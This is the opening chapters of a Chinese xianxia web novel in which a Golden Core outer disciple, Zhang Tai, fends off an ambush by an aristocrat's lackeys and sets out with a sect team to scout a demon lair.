《修仙文中的炮灰路人甲》
1. 日常
五秒前,张苔处于昏睡状态,是生生被人用冷水浇醒的。
习惯了谨慎警觉的她没有轻举妄动,而是悄然释放神识,收敛着往四周打探情况。
此处是一片葱郁的竹林,附近却是空无一人,只有阳光透过树梢洒下的斑驳光影,直至到达能够探索的极限范围,也未有修士抑或凡人的踪迹。
张苔顿时有些茫然。
概因她先前那个梦太过漫长和清晰,仿佛那一切是真的发生过,以至于回归现实后,她压根无法找到此刻具体对应的时间节点。
不知今夕何夕,此处又是何处,自己又为何出现在这里,适才自己被浇水又是什么原因怎么回事。
但脸庞上尚在滚落的水珠和地面泅开的一大滩水迹无不昭示着附近绝对有与她不对付的修士!
展开的神识找不到暗处的人,只有两个原因,要么对方的修为高于她,要么对方身上有隔绝神识作用的法宝法器,也不知道自己入梦前得罪的是何方神圣。
正这么想着,倏然一阵灵力激荡,神识感知到右侧半空中闪过一道弧线,伴随哗啦一声,像缀着玉珠的幕帘,倾数砸在她身上。
张苔登时在心底破口大骂,但行动上还是屏息控制着自己保持先前的状态。
关于现在的情况,她也已然可以做出一些判断,各处充斥着阵法禁制,就连神识都受限,目前应当还是在宗门之内,故而暗处之人,是绝不敢杀了她的,此时无非是在戏弄折腾她。
而且暗处之人,实力不强,无非仗着法宝作威作福罢了。
但无论如何,敌暗我明,她能做的实在不多,只有伺机等候,只要对方再有所行动一次,她就能彻底捕捉到对方的精确方位了。
微风拂过,这次,除了竹叶发轻柔的沙沙声,以及不远处溪流潺潺流淌发出的清澈水声,居然还响起对话声。
“再来感觉老子都要成为施云布雨的龙王了,死胖子,你确定你没下死手?这人不会被你弄死了吧?”声音中充斥着明显的幸灾乐祸。
“勇还是胖子你勇,好歹也是个正儿八经的外门弟子呢,上头那位都没把人直接弄死而是让我们来给点教训,你倒好,直接超额完成任务把人弄死了,你说说你后续可怎么办呐。”附和的人显然也是看热闹不嫌事大。
“叫什么叫,羡慕你泉哥我把人弄死了可以直接去领赏?多大个事儿啊?法宝还都揣身上呢,明刑峰那帮吃干饭的找不着得着我们还另说。”说话的这位是三人中体格最壮硕的,修为最高的,其余两位才堪堪筑基,而这位修为已达筑基大圆满。
不错,张苔根据一次动手以及这些对话,彻底摸清楚了对方的位置和情况。
且梦境的冲击消却,她彻底回归现实清醒状态,记起昏迷前,自己正在前往宗门事务峰的任务大殿,准备去接取除魔任务的路上。
只是一时疏忽,再加上暗处偷袭之人的暗器极为精良,她被阴了一把,陷入昏迷,然后做了个主角不是自己的梦,并在梦中渡过了极为清醒的百余年。
张苔思绪回溯着,同时指尖灵力似春蚕吐丝般无声渗入地下。
也不知过了多久,可能也就一息两息的时间,关于一条人命却正嘻哈打趣的三人,忽而听到一阵闷响。
然而来不及有所反应,地面翻涌如浪,泥土聚集如磐石之固,牢牢包裹住几人的双腿让他们挣脱不得。
与此同时,几人掩藏身形的粗壮坚.挺的竹木弯曲软化,对准三人横扫而过。
惨叫痛呼声后,三人的脸上出现深深的红痕,尤其是身型格外壮硕脸也很圆润的那位,嘴更是被打歪了,产生了下颌骨脱位。
张苔运转身法轻灵掠至三人身前,还没开口询问,被束缚着的长得格外白净,身上道袍还带着法纹的那位,直接张口怒斥。
“张苔,你是不是忘记自己身份了?!还敢装死反抗?是对我们这些人教训你有所不满,想要崔公子亲自动手吗?”
着重强调的崔公子三个字,让张苔有些恍惚,随即迅速在记忆里锁定了一个人。
崔公子全名崔仲豫,是她所在宗门玄天宗中的常驻世家崔家的嫡长血脉,眼下不过百岁出头修为已然出窍,实战能力亦是不弱,在抗魔战场上也有些建树,还手握掌管着一些家业。
是个优秀到有些瞩目的修二代。
念及这个人,张苔不由皱眉。
与此人的龃龉以及自身修为停滞很久不再寸进,是她最近十几年,也是目前这个阶段最为棘手的两件事。
之前棘手,现在不至于做了一个漫长清晰的、主角所向披靡的梦,醒来之后,就以为自己也可以无所不能了。
此刻的她,对于之前自己运气倒霉和突然脑残惹上的麻烦同样头疼。
但她不会表现出来,低头看向怒斥自己的人,估计是攀附讨好崔仲豫的小型修仙世家中的世家子弟。
明明是被她的术法困于地面仰头看向她,神情却是居高临下的,眼中对她的讥讽不屑轻贱完全不加掩饰,更没有丝毫歉意悔改。
想到先前差点丢掉半条命的暗算,她的怒火在胸中汹涌起伏,金丹中期的威压倾泻而出,指尖轻点,虬粗的藤蔓窜出,带着强劲的力道凌空接连抽下。
又是一阵痛呼下的吱哇乱叫。
见差不多了,张苔收手,深呼吸一口压制住情绪,“我在你们的暗算之下差点丧命,你们想要谋害我的话语我全部都存在留影珠上了,你说我若是上交明刑峰,崔仲豫会历经麻烦来保下于他而言的几条狗吗?”
见狼狈的几人脸上终于露出带有懊悔畏惧的表情,张苔心下满意的同时又有些烦躁。
太憋屈了,她也只能逞逞这点微末之快了。
而今末修时代,进阶的困难、除魔的压力、死亡的威胁等形同一座座大山压在诸多修士的脊背上,这份沉重,让某些修士变得有些不正常。
宗门里仗势欺人、恃强凌弱,哪怕是今天我不高兴在路上看见个让我不爽的修士我背地里出手教训他一番类似的事情,属实是不少见,宗门通常也是睁一只眼闭一只眼。
必须得是有着确凿明显证据的事端,才会得到受理,且还是有操作空间。
而实际上她哪里有证据?那种情境下根本来不及用上留影珠。
不过记忆里没出错的话,之前她遭暗算可是受了不轻的伤,而今却完全跟个没事人一样,虽不知是什么原因,但这种异常对方显然也可以留意到,故而用证据诈对方之词,也并非不能做到。
而今见对面三人的表情,她的确是成功了。
“今日之事,倘若你们在崔仲豫那里好好交代,这事,我也不是不能轻拿轻放。”
闻言三人神色各异,其中两人都看向穿着法袍较精致有法纹先前怒斥过张苔的那位,估计三人中也是以这位为首,且这位身份最高。
毕竟剩下两位衣衫都在她的藤蔓藤条抽打下变得破烂褴褛,衣下亦是皮肉翻卷,只有法纹锦袍男子的法衣因品级不低,身上伤势最轻。
既然如此,她索性给另外两人砸了个昏睡术。
法纹锦袍男子刚想拱手迈步,后意识到自己被脚下泥土困住动弹不得,便在原地垂首敛目作揖,"行,这件事我们一定在崔公子那里……好好交代。"
端的是一副恭谨畏惧的模样,张苔却是察觉了他盯着地面裂缝的眼底闪过阴鸷暗芒,说完话后更是磨了磨后槽牙。
顿时直让张苔手痒想将眼前人灭口,又想提剑直冲崔仲豫面前将他戳成个筛子,但没办法,无权无势无天赋不具备大能实力还看不到投资潜力,她哪里有资格顺心而为?
刚进入宗门时,她意气风发,遇到类似情况还会愤怒,会反抗,会前往申诉,后续发现徒劳无功甚至带来更多困扰后就变得麻木了,
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只能自认倒霉,行事更加谨慎。
末修时代,灵气衰微,更何况大陆各处都有各种魔的威胁,修士性命如草芥,宗门所在相当于是一个安全区,还有灵脉,挤破头想进入宗门哪怕是做小宗门里杂役弟子的普通修士都犹如过江之鲫,各个宗门里最不缺的就是普通修士!
别看她只是个外门弟子,她的宗门外门的准入门槛都是金丹修为!
想要安生留在宗门,就要适应这个环境,遵守相应的规则,无论是明面上的还是暗地里的。
眼前三人若死,哪怕她有对方谋害自己在先的证据,都会被安上个未事先上报擅自解决的罪过,十几年思过崖是少不了的,更何况她手上还没有证据。
她心底暗叹一声,彻底冷静下来,开口警告道,“不要想着阳奉阴违。”
“我们这种比比皆是的修士虽然在宗门眼里不值钱,但正因为数量多了,说到底还是整个人族抗魔兴盛的基石,谋害之罪,证据确凿,严惩不贷,偏偏你们就是被我抓了个现行。”
“我说你们是崔仲豫的狗可别真把自己给当狗了,你们跟着崔仲豫,为的是从他身上得到相应的好处,互惠互利,而不是将自己的前程也搭了进去,到底该怎么做怎么说,你们好好掂量掂量。”
经由张苔这么一番话,法纹锦袍男修也彻底冷静下来。
“我总算是知道先前那几批人为何总在崔仲豫面前糊弄了,你果然很难缠。”
可他说着又摆出为难的神情,“不过我们可不像先前那几批人,东窗事发前早就将亲近之人安全转移了,尤其是我,可是世家宗族的子弟,我族可得罪不起崔家那样一个庞然大物,我总不能因为一己之私,为族中带来祸患。”
这话合情合理,张苔总不能强人所难,她沉默了一瞬。
“三个月。”她顿了顿,从储物法器中拿出一枚特制的玉简,“只要你在崔仲豫那边帮我周旋三个月,三个月后责任全部推给我,只要能保证这三个月,我立即签下这誓约玉简,确保三个月后今日之事绝不会出现在明刑峰。”
法纹锦袍男子接过玉简,准备细细检查,发现其中还夹杂着一件小型中等宝器。
检查过后,确认是市面上流通售卖的誓约玉简,其中暗含违约咒,当签下誓约者未履行所写内容,违约咒会侵入神魂,今后十年内因咒术带来的头疼仿若附骨之蛆般时不时复现,这种痛由当事人形容宛若将头脑中一根又一根经络反复抽出,大多数人往往撑不到十年就已然活活痛死。
他啧了一声,“瞧你这套操作的熟练度,类似的事没少干吧?”
事前还打晕他旁边两个身份不如他的酒肉好友,想来也是欲少出些好处。
随即他话锋一转,“三个月太长了,崔大少记性太好,对于忤逆过他的蝼蚁必要让其自食苦果,而你先前几次三番的行为更无异于对他的再度挑衅,让他对你的关注更甚,时间上,最多两个月。”
闻言张苔克制不住地皱了皱眉。
法纹锦袍男子见她这样,摊了摊手,“你要再逼我也没用,我在族内最大的作用充其量也就是作为崔大少的跟班了。”
“剔除这个身份之后,我在族中的处境跟你将留影珠上交也没差,更何况明确说过谋害你的是胖子,操作一番把所有罪责推给他一人也不是没有可能。”
又小声咕哝,“而且一件中等宝器就打发我,恢复被打伤造成伤势的丹药还要自掏腰包,我已经足够厚道了。”
张苔还想说她差点被他们的暗器要了半条命呢。
不过她也清楚,对方话都说到这个份上,是不会再让步了。
“行,两个月就两个月。”
张苔应下,从法纹锦袍男子那里拿回誓约玉简,动用神识迅速在其上书写,经过对方确认内容后完成签名。
此间事了,她御剑而起,继续前往事务峰任务大殿。
2. 旧怨
张苔所在的宗门全名玄天宗,是大陆顶尖八大门派之一。
宗门在一座绵延近两千里的山脉之中,主峰名为“太华峰”,是宗门的权力核心所在,主峰和其周围的十五峰被划归为内门,灵脉就遍布这在十六座山峰之下。
外门七十二峰如众星拱月,环绕内门十六峰铺展开来,这些山峰亦是各具风姿,在云雾中若隐若现,宛如静谧的山水画卷,与内门的恢弘气势交相辉映。
不过无论再美的景致,在御剑如风穿梭的张苔眼里,也只剩下一道道残影。
从偏僻外峰赶往内峰事务峰,张苔心中有些恹恹。
她不由想起在梦中跟随主角的百余年,哪怕是后期整个修仙界大片沦陷,人族修士被逼到一隅之时,主角在行进路途中,从未耽搁过多少时间。
本来她走出竹林碰见同门,询问清楚自己所在山峰之后,便想贴个疾行符或者用个传送阵盘,直接抵达事务峰任务大殿。
但神识一探入储物法器,见到自己薄薄的身家,她立马打消了这个想法,修士修行耗费灵石本就如流水,她是个没本事开源的穷鬼,故而能省则省。
哪像人家主角,人族都快灭绝了,传送阵盘飞行法器疾行符都是品质一顶一的。
随即又在内心扶额,她也是魔怔了,一个天马行空到后期甚至有话本出现进行全程记录的怪诞梦境,她还当真代入现实进行比对了。
不知过了多久,途经多少大大小小密如蛛网的阵法禁制,单调无聊的路途终于到了尽头。
接近任务大殿,张苔降低御剑高度,一跃翩然落地,入殿挑选任务。
说是挑选,其实选择实在有限。
每半个月任务大殿的任务会进行更新,在更新之前,会有一批有人脉有灵石的修士,率先挑走最简单距离最近的一些任务。
然后就是,在更新之时,有些专门提前蹲守在任务大殿的人,又早早挑走一些任务。
最后剩下的,自然是又难又远。
张苔自然没有那个人脉和本钱,曾经也提前蹲守过,但是抢任务牌的速度自是赶不上那群可恶的风灵根修士,所以任务性价比,都是看运气。
不过好在,任务再怎么难,不说百分百,百分之九十九还是不会让门下弟子丢失性命。
顶多完成时间花费的久些,以及多耗费些修仙资源。
其实在逢魔乱世,宗门任务大殿发布的,除却前边被挑走的极少部分较为轻松的任务,剩下的都是差不多的棘手。
作为修仙界的中流砥柱,各宗门当仁不让地扛起了守护苍生、抵御魔患的重任。
每个宗门都肩负着强制的除魔指标,故而对旗下修士亦有要求:元婴修为及以上的修士,必须挺身而出,奔赴前沿抗魔战场;而元婴以下的修士,则需在宗门管辖的大陆领地内,执行除魔猎魔的任务,守护一方安宁。
这个时代的修士,是把除魔是刻入骨髓的,更不可能说外出面对魔物会偷奸耍滑,都是能杀多少是多少,很多修士,碰到任务之外的魔物了,自己能够解决的,也要追上去将其给砍了。
魔物数量庞大,繁殖迅速,还可由修士魔化变为他们的同类,宗门下达的任务只是最低底线。若不及时清剿,一旦魔物累积过多,压境而来,战场区域将不再由人族把控,局面则更加糟糕。
念及这些,张苔一边慨叹活着真难,想死,一边接下了一个侦测任务,两个猎魔任务。
侦测任务是组队任务,另外还有五位队友,人数集齐后会有传讯符到组队人员的洞府进行通知,三日后在宗门的北叁山门广场集合前往,而她则恰巧是接取这个任务的最后一人。
侦测任务的侦测地点一般在宗门管辖范围内形成小型魔窟的区域,宗门先放一部分弟子进行探查情况,然后评估派什么阶段的多少修士,去清剿这个暂时被魔物抢占沦陷的地方。
魔物可以分为低等魔物和高等魔物,高等魔物在魔化之前也是修士,但大部分祂们,早已丧失人性。
低等魔物能无限由高等魔物和其他低等魔物乃至它们自身滋生,而高等魔物里边也按照实力有等级之分,由低到高分别是魔卒、魔使、魔卫、魔将、魔王、魔君、魔帝。
从魔卒到魔君分别与修士修为划分为炼气、筑基、金丹、元婴、出窍、化神类似。
魔物大军被抵挡在战线之外,但总有一些高等魔物会潜伏着越过防线,在目前还是修士的领土之内作乱。
故而人族领地内有一些极小区域暂时被魔物完全侵占,形成魔窟,这是很正常的,但绝对不能放任不管,积少成多,等恶化到领土内部被瓦解,被魔物大军内外夹击就晚了!
侦测任务的意义就在这里,前期派一些弟子进行探查,后期进行清剿这些魔物魔窟。
猎魔任务形式就多一些,张苔接的这两个,只要在规定的某片区域,狩猎击杀十个魔卫实力级别的魔物便可。
但是这么广一片区域里面找魔物,肯定碰到的魔物不止魔卫级别,魔卒、魔使同样也会遇见。
碰都碰上了,也是花了一番心思循着痕迹找到的,难不成还掉头就走?
肯定也会顺手灭杀了。
所以这任务,还是很费精力的。
这三个任务一完成,她一年半内可以不再接取宗门任务。
且这三个任务张苔挑选得很巧妙,侦测的魔窟位置就在两个猎魔任务的区域内,恰好可以一并完成。
三日的准备时间里,她又回了趟洞府,拜访了一趟邻居,这位邻居是她在竞争外门弟子筛选时认识,彼此聊天之后发现居然是老乡,然后选洞府的时候就选在了一块。
平素在洞府里除了她还有她的八十六岁凡人老母亲,所以每次外出的时候,她还是会请邻居关照一下自己洞府的情况。
三日时间如水般迅速流过,很快就到了任务出发那天。
张苔再次用神识扫过储物手镯中这几日清点单独放在一边的丹药阵盘符箓法器,在晨雾中起身,御剑赶往北叁山门广场。
抵达山门广场的时候,略过早起正用风卷术扫阶的杂役弟子,张苔掏出宗门身份玉牌,感应着队友所在。
山门广场很大,此时各处也有零零散散的结群弟子,估计也是出发组队任务。
御剑晃悠了接近大半个广场,张苔在有着二男一女的角落处停下。
“金砂仙城寒矿镇侦测魔窟任务集合点?”
张苔御剑过来时,就一直在东张西望的冯阳闻言,当即循声转向,并同时应答,“是的师妹,金砂仙城寒矿镇侦测魔窟的队员正是在此处集合,我是队长,那边则是另外两位队友。”
含笑点头算是礼貌回应,张苔不着痕迹地打量了一眼这位相貌堂堂修为在金丹后期的队长过后,朝两位队友那边走近。
先到的这两位队友一男一女,男修生了张方圆脸,眼眸闭合,此刻盘膝正在打坐,周身还有阵阵灵波。修为同她一样在金丹中期。
女修则正对着面前的水镜描眉,手边悬浮着一些瓶瓶罐罐脂粉盒子,衣着华贵,配饰精致,估摸着其中有好几件法器,毕竟她周身缭绕的灵气浓度,比正在打坐的男修还要浓郁,观灵术也无法探查清楚对方的修为,这些显然都是法器带来的效果。
张苔了解完在场队友过后没多久,就又有一位队友到了,还是熟人,张苔一看到对方,脸色当即黑沉下来。
自己得罪崔仲豫的原因此人可以占一半。
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当时她脱离宗门杂役弟子身份,便可不再做宗门一些杂务琐事,便准备将手头豢养仙鹤的活计转交出去,顺便赚上一笔灵石。
杂役弟子中,豢养仙鹤算得上一个比较轻松的事项,一般杂役弟子都想接,除了要疏通事务峰那边的关系,手上还得有一批仙鹤。
她将手上的这批仙鹤交易给了一个看得还算顺眼的女修,黎秀梅。
本以为手上的仙鹤交易完毕也就行了,谁知后续没几天,黎秀梅又联系上她,她以为是自己手上的这批仙鹤有什么问题,抵达现场一看,仙鹤又确实少了好几只。
这种一锤子买卖,按理来说,本来她也不该管,甚至可以直接不来,来了也可转身走人,说到底,仙鹤交给对方的时候没问题,对方也是核对了没问题才接受的,后续出了什么变故,那就是对方豢养仙鹤的能力不行。
但是当时她才进入外门不久,结丹不过三年又进阶到金丹中期,一时飘飘然忘乎所以,直接把事情往身上揽了。
之后顺利追踪到那几只仙鹤成了一只雷纹虎的盘中餐,她自然是直接动手解决了那孽畜,带到黎秀梅面前并说明了仙鹤失踪的缘由。
在黎秀梅复杂的神情中,她还没来得及走,一股威压当头而下直接震伤两人五脏六腑,原来那雷纹虎是崔家大公子的灵宠,如果不是她厉声威胁对方是要在光天化日之下虐杀同门,明目张胆违背宗规,恐怕下一击直接让修仙界再无她这个人。
这种时候,黎秀梅直接跪地求饶并将所有过错推倒她身上,彼时她气个半死,但无论她怎么说,崔仲豫对于黎秀梅还是轻轻放下,只将矛头对准自己。
更让人骇然震怒的是,崔仲豫这个变态接下来说既然她这么喜欢宝贵这批仙鹤,让她跟她身后那群仙鹤交.媾给他看,便可将她杀他灵宠的事揭过,否则日后绝不让她在宗门好过。
此等侮辱性的要求,她自是不会答应,反正宗门内不允许同门厮杀,她捏碎了个小型传送阵盘,传送前同样也用不堪的词汇将崔仲豫狠狠辱骂了一番,自此这个梁子结下。
这边黎秀梅看到张苔的黑脸也很无语。
黎秀梅就从没见过像张苔这样的奇葩,那事她把张苔喊过来,是想着看对方能不能返还点灵石给她,不能就不能呗,还自以为是地调查起来。
仙鹤作为宗门财产,迎宾客、办庆典都用得到,她不会找明刑峰做主?要别人来多管闲事?
更不会审时度势,如果崔仲豫要她俩的命,还等得到她俩开口?结果这厮一开口就是威胁,求饶都不会。
就算后来崔仲豫提出那种要求,也不会放低姿态装模作样蒙混一下吗?
宗门关于私自豢养灵宠一事没有允许也没有禁止,本是有操作空间,但对方的灵宠偷吃了她们帮忙养着的宗门财产,就成了不在理,为难她们无非就是需要一个途径发泄怒火。
不过就是顺着对方,作张作致摆出一副自己也不知道那是他的灵宠,痛哭流涕悔不当初请对方高抬贵手就可度过的危机,张苔这厮偏要犟。
难怪十几年过去了,就连她都从杂役弟子爬到外门弟子了,这人的修为还停滞在金丹中期没有长进,光顾着手忙脚乱应对人家修二代的报复去了吧?
队长冯阳将黎秀梅引到其余三位队友那边的时候,自然也是看到了两人之间的暗流涌动,他动了动唇想说些什么,但他心知自己不是当事人,有些龃龉不可能因为几句轻巧的话就揭过,反易成为煽风点火。
横竖大家都是修炼了这么多年的成熟修士了,想必也明白孰轻孰重,只要任务中过得去也就行了,故而他就什么也没说。
在任务规定出发的辰正时刻,最后一名队友,终于踩着点姗姗来迟。
3. 出发
人齐之后,队长让大家自我介绍一番,张苔也对这行的队友有了个大致的了解。
修为最低的是两个金丹初期,黎秀梅和一身华贵精致的孙元。
比她早到的那个打坐男修名叫杜伍,同她一样修为也在金丹中期。
修为最高的则是队长冯阳和踩点到的男修叶明堂都是金丹后期。
于张苔而言,她看人就是这么简单粗暴,直接以修为实力划分。
但有的修士显然不是如此,比如那修为和队长同等的叶明堂,来的时候是一脸在座都是蝼蚁的傲慢,听完孙元简略的自我介绍后,当即态度热络起来。
“敢问孙道友,可是出自麓阙仙城的孙家?”
孙元颔首,却未多言。
得到肯定答复的叶明堂显然兴奋了几个度,“幸会幸会,没想到能在这次任务里碰到孙道友,我来自云隐仙城叶家,嫡脉明字辈。”
一直没给过队伍里谁一个正眼的孙元终于施舍给叶明堂一个眼神,“云隐呐,听说那里的隐世家族很多,底蕴甚至不比整个修仙界的顶层世家弱。”
叶明堂连连摆手,“叶家算是末流小族,不敢与那等世家比肩。”
随后孙元又问起了叶明堂所修的功法,叶明堂作答过后,孙元便不再挑起话题,但关于叶明堂找她说话,还是会搭腔。
后续队伍前往出入宗门传送阵的路上,也基本上是这两人在交流,间或夹杂着其余队友对这二人的吹捧。
整个队伍有隐隐以此二人为核心的架势。
张苔对此习以为常,毕竟一个看起来有着尊贵的身份,代表着身上可能揣着不少威力极大的法器,另一个则在队伍中修为很高且也看起来出身不错,万一在任务里面临危机说不准这两位能够施以援手。
就连她自己,也保持着恰到好处的恭维。
总体上而言,要张苔评估的话,这是一支中规中矩的队伍,在过去她的组队经历中也没什么特别的,估计两周之后,她便可以归来,继续和修为死磕,以及偶尔烦恼烦恼崔仲豫那边的问题。
这十几年她都是这么过来的,且她的修炼是真的极其不顺,灵气吸纳入丹田宛如泥牛入海,修为见不到半点长进。
她不会就这么到自己的修为极限了吧?
甩开这个恐怖的想法,尽量把心神放在队伍里,不要让自己显得组队态度不端正。
“咚——”
“咚——”
“咚——”
还没听清队长冯阳说些什么,浑厚而悠长的钟鸣骤然响起打断,不仅仅是他们队伍所在处,仿佛天际炸响一道惊雷,钟鸣在整个宗门各处回荡。
这是太华峰掌门院中独特的一件钟类法宝,名为“震天”,在宗门没有遭逢巨大危机之时,该钟声响起,证明有重大事件进行广而告之。
张苔的队伍与其余很多弟子一样,停下行进的步伐。
不久,一道蕴含强大力量的声音,伴随着钟声的余韵,传遍整个玄天宗所有峰的每个角落。
那是掌门的声音,清晰而庄重,“诸位弟子、长老、道友,抗魔战场-血河滩战场传来大捷!我军英勇奋战,大败魔军,成功将战线向西扩展,此乃大陆之荣耀,亦是尔等修行之路上的璀璨灯塔,望诸位弟子,愈加勤勉鞭策自我,刻苦修行,往后为宗门、为大陆,贡献你们的力量!”
有弟子激动不已,斗志澎湃。
也有弟子像张苔这种,听过之后,没什么波动,甚至已经有些麻木了。
在张苔看来,这些很遥远,至少于她这个小虾米而言,最近几十年的生存状态是绝对不会因为魔物改变的,现在的时间节点,距离此任战神出世,将所有魔物清剿才百余年,修仙界正是蓬勃发展的阶段。
而按照历史规律,一任战神至少可以维系五百年魔物大军不侵占到中州。
而玄天宗位于中州。
不过很巧合的是,在她那个极为清晰的梦里,约莫也是在这个时间点,血河滩战场获得大捷。
但正常人会把梦当做一回事吗?尽管这个梦境很是清晰。
当然不会,于是正常人张苔很快抛诸于脑后,只管跟紧队伍的节奏。
*
通过阵法出了玄天宗,又通过玄天仙城的阵法传送到了金砂仙城,穿过人流出了城门,队长冯阳拿出了地图灵具辨认着前往寒矿镇的方向。
张苔一边延展着神识,一边想着要不拦个路人询问一下,这时却发现,叶明堂捋了捋额前碎发,从储物法器中轻轻一抽,一个巴掌大的圆盘出现在半空,又缓缓展开至直径三丈许长,显然是个飞行法器。
“诸位,此去寒矿镇路途遥远,不如乘坐我这云驰圆碟前往。”
语气里带着几分炫耀,眼神还时不时瞟向孙元。
玄天宗作为大陆八大宗门之一,所辖领地范围很广,囊括二十七座仙城一万多个乡镇无数村落。
从金砂仙城的城中心到寒矿镇,就算是最短路线中间都还夹着三个镇。
能有飞行法器,不用一路御剑,吃风饮沙,自是再好不过。
叶明堂这厮一路孔雀开屏油腻是油腻了点,但能有便宜给她占,张苔还是很高兴的,连带跟着众人献上的吹捧也真心实意了些。
不过她还是很注意分寸的,奉承夸耀的内容是不涉及叶明堂和孙元之间的关系的,毕竟这一路孙元对叶明堂很是客气礼貌的疏离态度她还是看在眼里的,免得说了这话得罪了另一尊大佛。
想到这里,和一群队友先后登上了圆盘飞行法器后,张苔有些走神。
不知是不是多心的缘故,张苔总觉得先前孙元对叶明堂关于功法这一问有些蹊跷,但又看不出哪里有问题,毕竟大家都是一个队伍的,了解所修功法也有利于彼此配合。
可是一些攻击性、防御性术法、身法步法等极其珍贵,涉及个人隐私,而用于进阶的功法自末修时代几千年的淘汰筛选,现在市面上流行的,也是大部分修士主修用于进阶的功法也就那么一些。
张苔实在不知功法有什么好问的。
按下心中的怪异感,觉得可能是自己过于敏感,晃了晃脑袋过后,回归当下,留心着飞行法器周围以及时不时在队伍中附和几句。
*
镇的管控远不如仙城,最直观的便是仙城某些区域有着诸如不允许御空飞行等的各种禁令,以及多处阵法禁制限制着神识展开,而镇上没有。
随同飞行法器一路迅速往前的同时,展开的神识带来了一些信息。
黎秀梅正在队伍中反馈得到的消息,“魔窟还在扩张”、“近日又有大批人迁徙进入此镇”、“金砂仙城对于入城要求和检查更严格了”、“有些人已经决定绕过城中心继续迁往远离寒矿镇的地方”、“修炼资源价格疯涨,就连一颗最低阶的一品疗伤丹益气丹都价值三百下品灵石”、“此次魔物太过厉害猖狂,就连金砂仙城的城主都借由外出求援实则早就弃城而逃了”
“呸,这个是谣言。”
黎秀梅猛地一顿,忽然意识到刚才自己说了什么,不好意思笑笑,“关于最后那个弃城而逃,大家当没听到哈,这应该只是此镇之上少部分凡人极度恐慌之下诞生的谣言。”
张苔素日与黎秀梅有怨,如今自然是不会放过这个嘲讽的机会。
“脑子呢?让你关注传达一下这个镇上跟魔窟有关的信息,你就真的只无脑转述了?”
“好歹我还转述了,不像某些人...”黎秀梅也不是个逆来顺受的主,目光落在张苔身上是毫不掩饰的鄙夷,“事情没做半点倒没什么,偏偏还恬不知耻蹦跶出来
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指指点点,你这么能,当时怎么不把这活揽过去?”
面对这种似要发展成坊市骂街的局面,作为队长,冯阳站出来制止,“行了,私人恩怨你们私下解决,不要带到任务中来,回到宗门交完任务之后,你们爱怎么掰扯就怎么掰扯,现在全给我言归正传,把心思放到任务上来。”
说完,他率先对黎秀梅找到的消息进行分析,“光是镇内的这些消息,真实性还有待斟酌,只是作为一个参考,等抵达出镇地界,那里应该有修士驻守,得到的情况更多也更加真实。”
叶明堂则有些不耐烦,“这种鸡零狗碎的事情也值得拿出来专门说道说道?”
“我看还不如当初直接用传送阵进入魔窟,隐匿好自己,用留影珠对魔窟的状况进行记录就完事了。”
比张苔早到的那个打坐金丹中期男修杜伍上了圆盘之后依旧在打坐,这人一路上也很是沉默,此时更不会发表看法。
一直高高在上的孙元在走神,先前叶明堂跟她单独说话都没怎么搭理,遑论现在。
此刻队伍里的氛围还真是挺尴尬的,于是黎秀梅就打了个圆场,“大家各自完成任务的风格习惯不同,还望各自包容一下。魔窟周边的大部分消息是没什么用,但也不乏关键消息,就算什么都没找到,为任务费心费力的这个举动也是好的。”
张苔也补充了一句,“出镇地界有屏障,出去也会进行审查逼停,这个空档空着也是空着,顺便用来打探一下挺好的。”
正如张苔所言,飞行法器到此镇边界的时候,众人远远地就识别到搭建的几座瞭望塔,以及横亘拦截着的栅栏、拒马、路砦类的防御法器作为路障,瞭望塔中有着一位出窍修士,五位元婴修士,二十几位金丹修士。
一个镇子这样的小地方,能够凑出这样的人手用于驻守一处边界已经很不错了。
边界地带,又是防止魔窟扩张的时期,一切自是井井有条秩序严谨,致使他们一行人的闯入就格外醒目,驻守的这批修士自然也是迅速察觉到了。
一位白眉灰袍的元婴修士从瞭望塔的窗户中飞身而出,裹挟着灵力的洪亮声音传入几人耳中,“危险时期,此道不通,前边诸位如无通行令,还请原路返回。”
飞行法器的速度逐渐慢了下来,在距离元婴修士有一定距离后震动着彻底停下,冯阳探头,出腰间身份玉牌,用灵力托着送至元婴修士面前。
“前辈,我们几位是玄天宗的弟子,奉宗门任务来查看此处魔窟情况,还望行个方便,若有打搅,实在抱歉。”
白眉灰袍修士本就有些烦躁,听了这话,身上躁意更显,“看看看,就知道看,到底要拖到什么时候才派人过来进行彻底清剿?”
黎秀梅看元婴修士这状态,不由发问,“前辈,难道魔窟扩张的情形已经很严峻了吗?前边两个镇都已经沦陷了?”
“你们这些大宗弟子,居然冷血至此!”白眉灰袍修士气得吹胡子瞪眼,“两镇沦陷得死多少人?到了这般境地玄天宗才肯出人?合着我们这些镇上的人的命就不是命?”
冯阳刚想将黎秀梅拉回拦在身后,并向白眉灰袍修士道歉,这时候,那边瞭望塔中又出来了两位修士,一位金丹,一位元婴。
元婴修士御风拖着白眉灰袍修士往回,金丹修士则对着飞行法器中的几位歉笑行礼道,“不好意思哈,刚才他就是压力太大了,太过着急了,还望几位道友多多海涵。”
对面如此客气,他们自然也不好发作,冯阳礼貌回礼,“理解理解,你们是我们修仙界的勇士,迎面与魔物厮杀多日,我等坐享勇士们换取来的安宁,自不会介怀。”
随即又延续黎秀梅的话题道,“勇士们也不必强撑,还望将魔窟具体情况告知,倘若形势实在严峻,我等即刻返回宗门请求增援。”
4. 事态
过来的金丹修士挠挠头,“具体情况这个得问镇主城主,我们这些人只管接收命令再执行,不过前天前边的远石镇确实向我们求援了,我们这边派了一位元婴五位金丹十几位筑基修士过去,现在他们还被隔离开在观察期呢。”
说着他指了一个方向,“喏,就是那边布下绝灵阵的村落,此地没什么限制神识的措施,你们应该也可以感受到。还有旁边几个村落的道友则是跟咱们一样守着边界这边,轮流到瞭望塔换班的同僚。”
之所以要隔离开一段时间,在于修士迎面高等魔物时,有被魔化沦为高等魔物的风险。
因为高等魔物有一种邪功,名为吞元,在修士的虚弱状态下,可以对修士进行附身,然后吞噬修士的元气精气生命力。如果修士被附身并且高等魔物成功施展吞元后,凭借自己或者在同伴的帮助下,没能及时将魔物赶出,就会化为灰飞死亡。
然则将魔物赶出了,也有很大的危险性。
魔物附身后被吞元的时间越长,这位修士会魔化成同样高等魔物的可能性就越大,修为也是一个影响因素,修为越高,被吞元后死亡的概率越小,沦为魔物的概率也在减少。凡人一旦被魔物吞元,必死无疑。
魔化后的修士就成了新的高等魔物,平日里看着和正常修士无异,但只要浑身没有一丝灵力之时,就会暂时出现低等魔物的状态,弑杀,癫狂,毫无理智地残害修士。
高等魔物只要身体里没有一定的灵力进行平衡压制,该魔物就会失去理智。
